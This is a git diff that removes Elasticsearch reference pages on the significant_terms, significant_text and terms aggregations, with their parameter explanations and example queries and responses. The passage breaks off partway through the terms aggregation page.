-Terms that score highly will be collected on a shard level and merged with the terms collected from other shards in a second step. However, the shard does not have the information about the global term frequencies available. The decision if a term is added to a candidate list depends only on the score computed on the shard using local shard frequencies, not the global frequencies of the word. The `min_doc_count` criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the term as a candidate is made without being very _certain_ about if the term will actually reach the required `min_doc_count`. This might cause many (globally) high frequent terms to be missing in the final result if low frequent but high scoring terms populated the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic.
-
-`shard_min_doc_count` parameter
-
-The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the `shard_min_doc_count`. If your dictionary contains many low frequent words and you are not interested in these (for example misspellings), then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty not reach the required `min_doc_count` even after merging the local frequencies. `shard_min_doc_count` is set to `1` per default and has no effect unless you explicitly set it.
-
-
-
-
-WARNING: Setting `min_doc_count` to `1` is generally not advised as it tends to return terms that
-         are typos or other bizarre curiosities. Finding more than one instance of a term helps
-         reinforce that, while still rare, the term was not the result of a one-off accident. The
-         default value of 3 is used to provide a minimum weight-of-evidence.
-         Setting `shard_min_doc_count` too high will cause significant candidate terms to be filtered out on a shard level. This value should be set much lower than `min_doc_count/#shards`.
-
-
-
-===== Custom background context
-
-The default source of statistical information for background term frequencies is the entire index and this
-scope can be narrowed through the use of a `background_filter` to focus in on significant terms within a narrower
-context:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "query": {
-    "match": {
-      "city": "madrid"
-    }
-  },
-  "aggs": {
-    "tags": {
-      "significant_terms": {
-        "field": "tag",
-        "background_filter": {
-          "term": { "text": "spain" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above filter would help focus in on terms that were peculiar to the city of Madrid rather than revealing
-terms like "Spanish" that are unusual in the full index's worldwide context but commonplace in the subset of documents containing the
-word "Spain".
-
-WARNING: Use of background filters will slow the query as each term's postings must be filtered to determine a frequency
-
-
-===== Filtering Values
-
-It is possible (although rarely required) to filter the values for which buckets will be created. This can be done using the `include` and
-`exclude` parameters which are based on a regular expression string or arrays of exact terms. This functionality mirrors the features
-described in the <<search-aggregations-bucket-terms-aggregation,terms aggregation>> documentation.
-
-==== Collect mode
-
-To avoid memory issues, the `significant_terms` aggregation always computes child aggregations in `breadth_first` mode.
-A description of the different collection modes can be found in the
-<<search-aggregations-bucket-terms-aggregation-collect, terms aggregation>> documentation.
-
-==== Execution hint
-
-There are different mechanisms by which terms aggregations can be executed:
-
- - by using field values directly in order to aggregate data per-bucket (`map`)
- - by using <<eager-global-ordinals,global ordinals>> of the field and allocating one bucket per global ordinal (`global_ordinals`)
-
-Elasticsearch tries to have sensible defaults so this is something that generally doesn't need to be configured.
-
-`global_ordinals` is the default option for `keyword` field, it uses global ordinals to allocates buckets dynamically
-so memory usage is linear to the number of values of the documents that are part of the aggregation scope.
-
-`map` should only be considered when very few documents match a query. Otherwise the ordinals-based execution mode
-is significantly faster. By default, `map` is only used when running an aggregation on scripts, since they don't have
-ordinals.
-
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "significant_terms": {
-        "field": "tags",
-        "execution_hint": "map" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> the possible values are `map`, `global_ordinals`
-
-Please note that Elasticsearch will ignore this execution hint if it is not applicable.
diff --git a/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc b/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc
deleted file mode 100644
index c98c2ff659f..00000000000
--- a/docs/reference/aggregations/bucket/significanttext-aggregation.asciidoc
+++ /dev/null
@@ -1,489 +0,0 @@
-[[search-aggregations-bucket-significanttext-aggregation]]
-=== Significant text aggregation
-++++
-<titleabbrev>Significant text</titleabbrev>
-++++
-
-An aggregation that returns interesting or unusual occurrences of free-text terms in a set.
-It is like the <<search-aggregations-bucket-significantterms-aggregation,significant terms>> aggregation but differs in that:
-
-* It is specifically designed for use on type `text` fields
-* It does not require field data or doc-values
-* It re-analyzes text content on-the-fly meaning it can also filter duplicate sections of
-noisy text that otherwise tend to skew statistics.
-
-WARNING: Re-analyzing _large_ result sets will require a lot of time and memory. It is recommended that the significant_text
-         aggregation is used as a child of either the <<search-aggregations-bucket-sampler-aggregation,sampler>> or 
-         <<search-aggregations-bucket-diversified-sampler-aggregation,diversified sampler>> aggregation to limit the analysis
-         to a _small_ selection of top-matching documents e.g. 200. This will typically improve speed, memory use and quality of
-         results.
-
-.Example use cases:
-* Suggesting "H5N1" when users search for "bird flu" to help expand queries
-* Suggesting keywords relating to stock symbol $ATI for use in an automated news classifier
-
-In these cases the words being selected are not simply the most popular terms in results. The most popular words tend to be
-very boring (_and, of, the, we, I, they_ ...).
-The significant words are the ones that have undergone a significant change in popularity measured between a _foreground_ and _background_ set.
-If the term "H5N1" only exists in 5 documents in a 10 million document index and yet is found in 4 of the 100 documents that make up a user's search results
-that is significant and probably very relevant to their search. 5/10,000,000 vs 4/100 is a big swing in frequency.
-
-==== Basic use
-
-In the typical use case, the _foreground_ set of interest is a selection of the top-matching search results for a query 
-and the _background_set used for statistical comparisons is the index or indices from which the results were gathered.
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET news/_search
-{
-  "query": {
-    "match": { "content": "Bird flu" }
-  },
-  "aggregations": {
-    "my_sample": {
-      "sampler": {
-        "shard_size": 100
-      },
-      "aggregations": {
-        "keywords": {
-          "significant_text": { "field": "content" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:news]
-
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 9,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-    "aggregations" : {
-        "my_sample": {
-            "doc_count": 100,
-            "keywords" : {
-                "doc_count": 100,
-                "buckets" : [
-                    {
-                        "key": "h5n1",
-                        "doc_count": 4,
-                        "score": 4.71235374214817,
-                        "bg_count": 5
-                    }
-                    ...
-                ]
-            }
-        }
-    }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:historically skipped]
-
-The results show that "h5n1" is one of several terms strongly associated with bird flu.
-It only occurs 5 times in our index as a whole (see the `bg_count`) and yet 4 of these 
-were lucky enough to appear in our 100 document sample of "bird flu" results. That suggests
-a significant word and one which the user can potentially add to their search. 
-
-[[filter-duplicate-text-noisy-data]]
-==== Dealing with noisy data using `filter_duplicate_text`
-Free-text fields often contain a mix of original content and mechanical copies of text (cut-and-paste biographies, email reply chains, 
-retweets, boilerplate headers/footers, page navigation menus, sidebar news links, copyright notices, standard disclaimers, addresses).
-
-In real-world data these duplicate sections of text tend to feature heavily in `significant_text` results if they aren't filtered out.
-Filtering near-duplicate text is a difficult task at index-time but we can cleanse the data on-the-fly at query time using the 
-`filter_duplicate_text` setting.
-
-
-First let's look at an unfiltered real-world example using the https://research.signalmedia.co/newsir16/signal-dataset.html[Signal media dataset] of
-a million news articles covering a wide variety of news. Here are the raw significant text results for a search for the articles 
-mentioning "elasticsearch":
-
-
-[source,js]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sample": {
-      "doc_count": 35,
-      "keywords": {
-        "doc_count": 35,
-        "buckets": [
-          {
-            "key": "elasticsearch",
-            "doc_count": 35,
-            "score": 28570.428571428572,
-            "bg_count": 35
-          },
-          ...
-          {
-            "key": "currensee",
-            "doc_count": 8,
-            "score": 6530.383673469388,
-            "bg_count": 8
-          },
-          ...
-          {
-            "key": "pozmantier",
-            "doc_count": 4,
-            "score": 3265.191836734694,
-            "bg_count": 4
-          },
-          ...
-
-}
---------------------------------------------------
-// NOTCONSOLE
-
-The uncleansed documents have thrown up some odd-looking terms that are, on the face of it, statistically 
-correlated with appearances of our search term "elasticsearch" e.g. "pozmantier".
-We can drill down into examples of these documents to see why pozmantier is connected using this query:
-
-[source,console]
---------------------------------------------------
-GET news/_search
-{
-  "query": {
-    "simple_query_string": {
-      "query": "+elasticsearch  +pozmantier"
-    }
-  },
-  "_source": [
-    "title",
-    "source"
-  ],
-  "highlight": {
-    "fields": {
-      "content": {}
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:news]
-
-The results show a series of very similar news articles about a judging panel for a number of tech projects:
-
-[source,js]
---------------------------------------------------
-{
-  ...
-  "hits": {
-    "hits": [
-      {
-        ...
-        "_source": {
-          "source": "Presentation Master",
-          "title": "T.E.N. Announces Nominees for the 2015 ISE® North America Awards"
-        },
-        "highlight": {
-          "content": [
-            "City of San Diego Mike <em>Pozmantier</em>, Program Manager, Cyber Security Division, Department of",
-            " Janus, Janus <em>ElasticSearch</em> Security Visualization Engine "
-          ]
-        }
-      },
-      {
-        ...
-        "_source": {
-          "source": "RCL Advisors",
-          "title": "T.E.N. Announces Nominees for the 2015 ISE(R) North America Awards"
-        },
-        "highlight": {
-          "content": [
-            "Mike <em>Pozmantier</em>, Program Manager, Cyber Security Division, Department of Homeland Security S&T",
-            "Janus, Janus <em>ElasticSearch</em> Security Visualization Engine"
-          ]
-        }
-      },
-      ...
---------------------------------------------------
-// NOTCONSOLE
-Mike Pozmantier was one of many judges on a panel and elasticsearch was used in one of many projects being judged.
-
-As is typical, this lengthy press release was cut-and-paste by a variety of news sites and consequently any rare names, numbers or 
-typos they contain become statistically correlated with our matching query.
-
-Fortunately similar documents tend to rank similarly so as part of examining the stream of top-matching documents the significant_text
-aggregation can apply a filter to remove sequences of any 6 or more tokens that have already been seen. Let's try this same query now but
-with the `filter_duplicate_text` setting turned on:
-
-[source,console]
---------------------------------------------------
-GET news/_search
-{
-  "query": {
-    "match": {
-      "content": "elasticsearch"
-    }
-  },
-  "aggs": {
-    "sample": {
-      "sampler": {
-        "shard_size": 100
-      },
-      "aggs": {
-        "keywords": {
-          "significant_text": {
-            "field": "content",
-            "filter_duplicate_text": true
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:news]
-
-The results from analysing our deduplicated text are obviously of higher quality to anyone familiar with the elastic stack:
-
-[source,js]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sample": {
-      "doc_count": 35,
-      "keywords": {
-        "doc_count": 35,
-        "buckets": [
-          {
-            "key": "elasticsearch",
-            "doc_count": 22,
-            "score": 11288.001166180758,
-            "bg_count": 35
-          },
-          {
-            "key": "logstash",
-            "doc_count": 3,
-            "score": 1836.648979591837,
-            "bg_count": 4
-          },
-          {
-            "key": "kibana",
-            "doc_count": 3,
-            "score": 1469.3020408163263,
-            "bg_count": 5
-          }
-        ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Mr Pozmantier and other one-off associations with elasticsearch no longer appear in the aggregation 
-results as a consequence of copy-and-paste operations or other forms of mechanical repetition. 
-
-If your duplicate or near-duplicate content is identifiable via a single-value indexed field  (perhaps
-a hash of the article's `title` text or an `original_press_release_url` field) then it would be more 
-efficient to use a parent <<search-aggregations-bucket-diversified-sampler-aggregation,diversified sampler>> aggregation
-to eliminate these documents from the sample set based on that single key. The less duplicate content you can feed into
-the significant_text aggregation up front the better in terms of performance.
-
-
-.How are the significance scores calculated?
-**********************************
-The numbers returned for scores are primarily intended for ranking different suggestions sensibly rather than something easily 
-understood by end users. The scores are derived from the doc frequencies in _foreground_ and _background_ sets. In brief, a 
-term is considered significant if there is a noticeable difference in the frequency in which a term appears in the subset and 
-in the background. The way the terms are ranked can be configured, see "Parameters" section.
-
-**********************************
-
-.Use the _"like this but not this"_ pattern
-**********************************
-You can spot mis-categorized content by first searching a structured field e.g. `category:adultMovie` and use significant_text on the
-text "movie_description" field. Take the suggested words (I'll leave them to your imagination) and then search for all movies NOT marked as category:adultMovie but containing these keywords.
-You now have a ranked list of badly-categorized movies that you should reclassify or at least remove from the "familyFriendly" category.
-
-The significance score from each term can also provide a useful `boost` setting to sort matches.
-Using the `minimum_should_match` setting of the `terms` query with the keywords will help control the balance of precision/recall in the result set i.e
-a high setting would have a small number of relevant results packed full of keywords and a setting of "1" would produce a more exhaustive results set with all documents containing _any_ keyword.
-
-**********************************
-
-
-
-==== Limitations
-
-
-===== No support for child aggregations
-The significant_text aggregation intentionally does not support the addition of child aggregations because:
-
-* It would come with a high memory cost
-* It isn't a generally useful feature and there is a workaround for those that need it
-
-The volume of candidate terms is generally very high and these are pruned heavily before the final
-results are returned. Supporting child aggregations would generate additional churn and be inefficient.
-Clients can always take the heavily-trimmed set of results from a `significant_text` request and 
-make a subsequent follow-up query using a `terms` aggregation with an `include` clause and child
-aggregations to perform further analysis of selected keywords in a more efficient fashion.
-
-===== No support for nested objects
-
-The significant_text aggregation currently also cannot be used with text fields in
-nested objects, because it works with the document JSON source. This makes this
-feature inefficient when matching nested docs from stored JSON given a matching
-Lucene docID.
-
-===== Approximate counts
-The counts of how many documents contain a term provided in results are based on summing the samples returned from each shard and
-as such may be:
-
-* low if certain shards did not provide figures for a given term in their top sample
-* high when considering the background frequency as it may count occurrences found in deleted documents
-
-Like most design decisions, this is the basis of a trade-off in which we have chosen to provide fast performance at the cost of some (typically small) inaccuracies.
-However, the `size` and `shard size` settings covered in the next section provide tools to help control the accuracy levels.
-
-[[significanttext-aggregation-parameters]]
-==== Parameters
-
-===== Significance heuristics
-
-This aggregation supports the same scoring heuristics (JLH, mutual_information, gnd, chi_square etc) as the <<search-aggregations-bucket-significantterms-aggregation,significant terms>> aggregation
-
-[[sig-text-shard-size]]
-===== Size & Shard Size
-
-The `size` parameter can be set to define how many term buckets should be returned out of the overall terms list. By
-default, the node coordinating the search process will request each shard to provide its own top term buckets
-and once all shards respond, it will reduce the results to the final list that will then be returned to the client.
-If the number of unique terms is greater than `size`, the returned list can be slightly off and not accurate
-(it could be that the term counts are slightly off and it could even be that a term that should have been in the top
-size buckets was not returned).
-
-To ensure better accuracy a multiple of the final `size` is used as the number of terms to request from each shard
-(`2 * (size * 1.5 + 10)`). To take manual control of this setting the `shard_size` parameter
-can be  used to control the volumes of candidate terms produced by each shard.
-
-Low-frequency terms can turn out to be the most interesting ones once all results are combined so the
-significant_terms aggregation can produce higher-quality results when the `shard_size` parameter is set to
-values significantly higher than the `size` setting. This ensures that a bigger volume of promising candidate terms are given
-a consolidated review by the reducing node before the final selection. Obviously large candidate term lists
-will cause extra network traffic and RAM usage so this is  quality/cost trade off that needs to be balanced.  If `shard_size` is set to -1 (the default) then `shard_size` will be automatically estimated based on the number of shards and the `size` parameter.
-
-
-NOTE:   `shard_size` cannot be smaller than `size` (as it doesn't make much sense). When it is, elasticsearch will
-        override it and reset it to be equal to `size`.
-
-===== Minimum document count
-
-It is possible to only return terms that match more than a configured number of hits using the `min_doc_count` option.
-The Default value is 3.
-
-Terms that score highly will be collected on a shard level and merged with the terms collected from other shards in a second step. 
-However, the shard does not have the information about the global term frequencies available. The decision if a term is added to a 
-candidate list depends only on the score computed on the shard using local shard frequencies, not the global frequencies of the word.
-The `min_doc_count` criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the 
-term as a candidate is made without being very _certain_ about if the term will actually reach the required `min_doc_count`. 
-This might cause many (globally) high frequent terms to be missing in the final result if low frequent but high scoring terms populated 
-the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. 
-However, this increases memory consumption and network traffic.
-
-`shard_min_doc_count` parameter
-
-The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or 
-not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the 
-`shard_min_doc_count`. If your dictionary contains many low frequent words and you are not interested in these (for example misspellings), 
-then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty 
-not reach the required `min_doc_count` even after merging the local frequencies. `shard_min_doc_count` is set to `1` per default and has 
-no effect unless you explicitly set it.
-
-
-
-
-WARNING: Setting `min_doc_count` to `1` is generally not advised as it tends to return terms that
-         are typos or other bizarre curiosities. Finding more than one instance of a term helps
-         reinforce that, while still rare, the term was not the result of a one-off accident. The
-         default value of 3 is used to provide a minimum weight-of-evidence.
-         Setting `shard_min_doc_count` too high will cause significant candidate terms to be filtered out on a shard level. 
-         This value should be set much lower than `min_doc_count/#shards`.
-
-
-
-===== Custom background context
-
-The default source of statistical information for background term frequencies is the entire index and this
-scope can be narrowed through the use of a `background_filter` to focus in on significant terms within a narrower
-context:
-
-[source,console]
---------------------------------------------------
-GET news/_search
-{
-  "query": {
-    "match": {
-      "content": "madrid"
-    }
-  },
-  "aggs": {
-    "tags": {
-      "significant_text": {
-        "field": "content",
-        "background_filter": {
-          "term": { "content": "spain" }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:news]
-
-The above filter would help focus in on terms that were peculiar to the city of Madrid rather than revealing
-terms like "Spanish" that are unusual in the full index's worldwide context but commonplace in the subset of documents containing the
-word "Spain".
-
-WARNING: Use of background filters will slow the query as each term's postings must be filtered to determine a frequency
-
-
-===== Dealing with source and index mappings
-
-Ordinarily the indexed field name and the original JSON field being retrieved share the same name.
-However with more complex field mappings using features like `copy_to` the source 
-JSON field(s) and the indexed field being aggregated can differ.
-In these cases it is possible to list the JSON _source fields from which text
-will be analyzed using the `source_fields` parameter:
-
-[source,console]
---------------------------------------------------
-GET news/_search
-{
-  "query": {
-    "match": {
-      "custom_all": "elasticsearch"
-    }
-  },
-  "aggs": {
-    "tags": {
-      "significant_text": {
-        "field": "custom_all",
-        "source_fields": [ "content", "title" ]
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:news]
-
-
-===== Filtering Values
-
-It is possible (although rarely required) to filter the values for which buckets will be created. This can be done using the `include` and
-`exclude` parameters which are based on a regular expression string or arrays of exact terms. This functionality mirrors the features
-described in the <<search-aggregations-bucket-terms-aggregation,terms aggregation>> documentation.
-
-
diff --git a/docs/reference/aggregations/bucket/terms-aggregation.asciidoc b/docs/reference/aggregations/bucket/terms-aggregation.asciidoc
deleted file mode 100644
index 210ed3c2d5c..00000000000
--- a/docs/reference/aggregations/bucket/terms-aggregation.asciidoc
+++ /dev/null
@@ -1,772 +0,0 @@
-[[search-aggregations-bucket-terms-aggregation]]
-=== Terms aggregation
-++++
-<titleabbrev>Terms</titleabbrev>
-++++
-
-A multi-bucket value source based aggregation where buckets are dynamically built - one per unique value.
-
-//////////////////////////
-
-[source,js]
---------------------------------------------------
-PUT /products
-{
-  "mappings": {
-    "properties": {
-      "genre": {
-        "type": "keyword"
-      },
-      "product": {
-        "type": "keyword"
-      }
-    }
-  }
-}
-
-POST /products/_bulk?refresh
-{"index":{"_id":0}}
-{"genre": "rock", "product": "Product A"}
-{"index":{"_id":1}}
-{"genre": "rock"}
-{"index":{"_id":2}}
-{"genre": "rock"}
-{"index":{"_id":3}}
-{"genre": "jazz", "product": "Product Z"}
-{"index":{"_id":4}}
-{"genre": "jazz"}
-{"index":{"_id":5}}
-{"genre": "electronic"}
-{"index":{"_id":6}}
-{"genre": "electronic"}
-{"index":{"_id":7}}
-{"genre": "electronic"}
-{"index":{"_id":8}}
-{"genre": "electronic"}
-{"index":{"_id":9}}
-{"genre": "electronic"}
-{"index":{"_id":10}}
-{"genre": "electronic"}
-
--------------------------------------------------
-// NOTCONSOLE
-// TESTSETUP
-
-//////////////////////////
-
-Example:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": { "field": "genre" } <1>
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-<1> `terms` aggregation should be a field of type `keyword` or any other data type suitable for bucket aggregations. In order to use it with `text` you will need to enable
-<<fielddata, fielddata>>.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "genres": {
-      "doc_count_error_upper_bound": 0,   <1>
-      "sum_other_doc_count": 0,           <2>
-      "buckets": [                        <3>
-        {
-          "key": "electronic",
-          "doc_count": 6
-        },
-        {
-          "key": "rock",
-          "doc_count": 3
-        },
-        {
-          "key": "jazz",
-          "doc_count": 2
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.//]
-
-<1> an upper bound of the error on the document counts for each term, see <<search-aggregations-bucket-terms-aggregation-approximate-counts,below>>
-<2> when there are lots of unique terms, Elasticsearch only returns the top terms; this number is the sum of the document counts for all buckets that are not part of the response
-<3> the list of the top buckets, the meaning of `top` being defined by the <<search-aggregations-bucket-terms-aggregation-order,order>>
-
-By default, the `terms` aggregation will return the buckets for the top ten terms ordered by the `doc_count`. One can
-change this default behaviour by setting the `size` parameter.
-
-[[search-aggregations-bucket-terms-aggregation-size]]
-==== Size
-
-The `size` parameter can be set to define how many term buckets should be returned out of the overall terms list. By
-default, the node coordinating the search process will request each shard to provide its own top `size` term buckets
-and once all shards respond, it will reduce the results to the final list that will then be returned to the client.
-This means that if the number of unique terms is greater than `size`, the returned list is slightly off and not accurate
-(it could be that the term counts are slightly off and it could even be that a term that should have been in the top
-size buckets was not returned).
-
-NOTE: If you want to retrieve **all** terms or all combinations of terms in a nested `terms` aggregation
-      you should use the <<search-aggregations-bucket-composite-aggregation,Composite>> aggregation which
-      allows to paginate over all possible terms rather than setting a size greater than the cardinality of the field in the
-      `terms` aggregation. The `terms` aggregation is meant to return the `top` terms and does not allow pagination.
-
-[[search-aggregations-bucket-terms-aggregation-approximate-counts]]
-==== Document counts are approximate
-
-Document counts (and the results of any sub aggregations) in the terms
-aggregation are not always accurate. Each shard provides its own view of what
-the ordered list of terms should be. These views are combined to give a final
-view.
-
-==== Shard Size
-
-The higher the requested `size` is, the more accurate the results will be, but also, the more expensive it will be to
-compute the final results (both due to bigger priority queues that are managed on a shard level and due to bigger data
-transfers between the nodes and the client).
-
-The `shard_size` parameter can be  used to minimize the extra work that comes with bigger requested `size`. When defined,
-it will determine how many terms the coordinating node will request from each shard. Once all the shards responded, the
-coordinating node will then reduce them to a final result which will be based on the `size` parameter - this way,
-one can increase the accuracy of the returned terms and avoid the overhead of streaming a big list of buckets back to
-the client.
-
-
-NOTE:   `shard_size` cannot be smaller than `size` (as it doesn't make much sense). When it is, Elasticsearch will
-        override it and reset it to be equal to `size`.
-
-
-The default `shard_size` is `(size * 1.5 + 10)`.
-
-==== Calculating Document Count Error
-
-There are two error values which can be shown on the terms aggregation. The first gives a value for the aggregation as
-a whole which represents the maximum potential document count for a term which did not make it into the final list of
-terms. This is calculated as the sum of the document count from the last term returned from each shard.
-
-==== Per bucket document count error
-
-The second error value can be enabled by setting the `show_term_doc_count_error` parameter to true:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "products": {
-      "terms": {
-        "field": "product",
-        "size": 5,
-        "show_term_doc_count_error": true
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[s/_search/_search\?filter_path=aggregations/]
-
-
-This shows an error value for each term returned by the aggregation which represents the 'worst case' error in the document count
-and can be useful when deciding on a value for the `shard_size` parameter. This is calculated by summing the document counts for
-the last term returned by all shards which did not return the term.
-
-These errors can only be calculated in this way when the terms are ordered by descending document count. When the aggregation is
-ordered by the terms values themselves (either ascending or descending) there is no error in the document count since if a shard
-does not return a particular term which appears in the results from another shard, it must not have that term in its index. When the
-aggregation is either sorted by a sub aggregation or in order of ascending document count, the error in the document counts cannot be
-determined and is given a value of -1 to indicate this.
-
-[[search-aggregations-bucket-terms-aggregation-order]]
-==== Order
-
-The order of the buckets can be customized by setting the `order` parameter. By default, the buckets are ordered by
-their `doc_count` descending.  It is possible to change this behaviour as documented below:
-
-WARNING: Sorting by ascending `_count` or by sub aggregation is discouraged as it increases the
-<<search-aggregations-bucket-terms-aggregation-approximate-counts,error>> on document counts.
-It is fine when a single shard is queried, or when the field that is being aggregated was used
-as a routing key at index time: in these cases results will be accurate since shards have disjoint
-values. However otherwise, errors are unbounded. One particular case that could still be useful
-is sorting by <<search-aggregations-metrics-min-aggregation,`min`>> or
-<<search-aggregations-metrics-max-aggregation,`max`>> aggregation: counts will not be accurate
-but at least the top buckets will be correctly picked.
-
-Ordering the buckets by their doc `_count` in an ascending manner:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "field": "genre",
-        "order": { "_count": "asc" }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Ordering the buckets alphabetically by their terms in an ascending manner:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "field": "genre",
-        "order": { "_key": "asc" }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-deprecated[6.0.0, Use `_key` instead of `_term` to order buckets by their term]
-
-Ordering the buckets by single value metrics sub-aggregation (identified by the aggregation name):
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "field": "genre",
-        "order": { "max_play_count": "desc" }
-      },
-      "aggs": {
-        "max_play_count": { "max": { "field": "play_count" } }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Ordering the buckets by multi value metrics sub-aggregation (identified by the aggregation name):
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "genres": {
-      "terms": {
-        "field": "genre",
-        "order": { "playback_stats.max": "desc" }
-      },
-      "aggs": {
-        "playback_stats": { "stats": { "field": "play_count" } }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-[NOTE]
-.Pipeline aggs cannot be used for sorting
-=======================================
-
-<<search-aggregations-pipeline,Pipeline aggregations>> are run during the
-reduce phase after all other aggregations have already completed.  For this
-reason, they cannot be used for ordering.
-
-=======================================
-
-It is also possible to order the buckets based on a "deeper" aggregation in the hierarchy. This is supported as long
-as the aggregations path are of a single-bucket type, where the last aggregation in the path may either be a single-bucket
-one or a metrics one. If it's a single-bucket type, the order will be defined by the number of docs in the bucket (i.e. `doc_count`),
-in case it's a metrics one, the same rules as above apply (where the path must indicate the metric name to sort by in case of
-a multi-value metrics aggregation, and in case of a single-value metrics aggregation the sort will be applied on that value).
-
-The path must be defined in the following form:
-
-// {wikipedia}/Extended_Backus%E2%80%93Naur_Form
-[source,ebnf]
---------------------------------------------------
-AGG_SEPARATOR       =  '>' ;
-METRIC_SEPARATOR    =  '.' ;
-AGG_NAME            =  <the name of the aggregation> ;
-METRIC              =  <the name of the metric (in case of multi-value metrics aggregation)> ;
-PATH                =  <AGG_NAME> [ <AGG_SEPARATOR>, <AGG_NAME> ]* [ <METRIC_SEPARATOR>, <METRIC> ] ;
---------------------------------------------------
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "countries": {
-      "terms": {
-        "field": "artist.country",
-        "order": { "rock>playback_stats.avg": "desc" }
-      },
-      "aggs": {
-        "rock": {
-          "filter": { "term": { "genre": "rock" } },
-          "aggs": {
-            "playback_stats": { "stats": { "field": "play_count" } }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above will sort the artist's countries buckets based on the average play count among the rock songs.
-
-Multiple criteria can be used to order the buckets by providing an array of order criteria such as the following:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "countries": {
-      "terms": {
-        "field": "artist.country",
-        "order": [ { "rock>playback_stats.avg": "desc" }, { "_count": "desc" } ]
-      },
-      "aggs": {
-        "rock": { 
-          "filter": { "term": { "genre": "rock" } },
-          "aggs": {
-            "playback_stats": { "stats": { "field": "play_count" } } 
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above will sort the artist's countries buckets based on the average play count among the rock songs and then by
-their `doc_count` in descending order.
-
-NOTE: In the event that two buckets share the same values for all order criteria the bucket's term value is used as a
-tie-breaker in ascending alphabetical order to prevent non-deterministic ordering of buckets.
-
-==== Minimum document count
-
-It is possible to only return terms that match more than a configured number of hits using the `min_doc_count` option:
-
-[source,console]
---------------------------------------------------
-GET /_search
-{
-  "aggs": {
-    "tags": {
-      "terms": {
-        "field": "tags",
-        "min_doc_count": 10
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The above aggregation would only return tags which have been found in 10 hits or more. Default value is `1`.
-
-
-Terms are collected and ordered on a shard level and merged with the terms collected from other shards in a second step. However, the shard does not have the information about the global document count available. The decision if a term is added to a candidate list depends only on the order computed on the shard using local shard frequencies. The `min_doc_count` criterion is only applied after merging local terms statistics of all shards. In a way the decision to add the term as a candidate is made without being very _certain_ about if the term will actually reach the required `min_doc_count`. This might cause many (globally) high frequent terms to be missing in the final result if low frequent terms populated the candidate lists. To avoid this, the `shard_size` parameter can be increased to allow more candidate terms on the shards. However, this increases memory consumption and network traffic.
-
-`shard_min_doc_count` parameter
-
-The parameter `shard_min_doc_count` regulates the _certainty_ a shard has if the term should actually be added to the candidate list or not with respect to the `min_doc_count`. Terms will only be considered if their local shard frequency within the set is higher than the `shard_min_doc_count`. If your dictionary contains many low frequent terms and you are not interested in those (for example misspellings), then you can set the `shard_min_doc_count` parameter to filter out candidate terms on a shard level that will with a reasonable certainty not reach the required `min_doc_count` even after merging the local counts. `shard_min_doc_count` is set to `0` per default and has no effect unless you explicitly set it.
-
-
-
-NOTE:    Setting `min_doc_count`=`0` will also return buckets for terms that didn't match any hit. However, some of
-         the returned terms which have a document count of zero might only belong to deleted documents or documents
-         from other types, so there is no warranty that a `match_all` query would find a positive document count for
-         those terms.
-
-WARNING: When NOT sorting on `doc_count` descending, high values of `min_doc_count` may return a number of buckets
-         which is less than `size` because not enough data was gathered from the shards. Missing buckets can be
-         back by increasing `shard_size`.
-         Setting `shard_min_doc_count` too high will cause terms to be filtered out on a shard level. This value should be set much lower than `min_doc_count/#shards`.
-
